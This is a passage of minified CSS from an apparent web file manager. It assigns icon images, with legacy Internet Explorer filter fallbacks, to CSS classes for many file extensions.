-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none 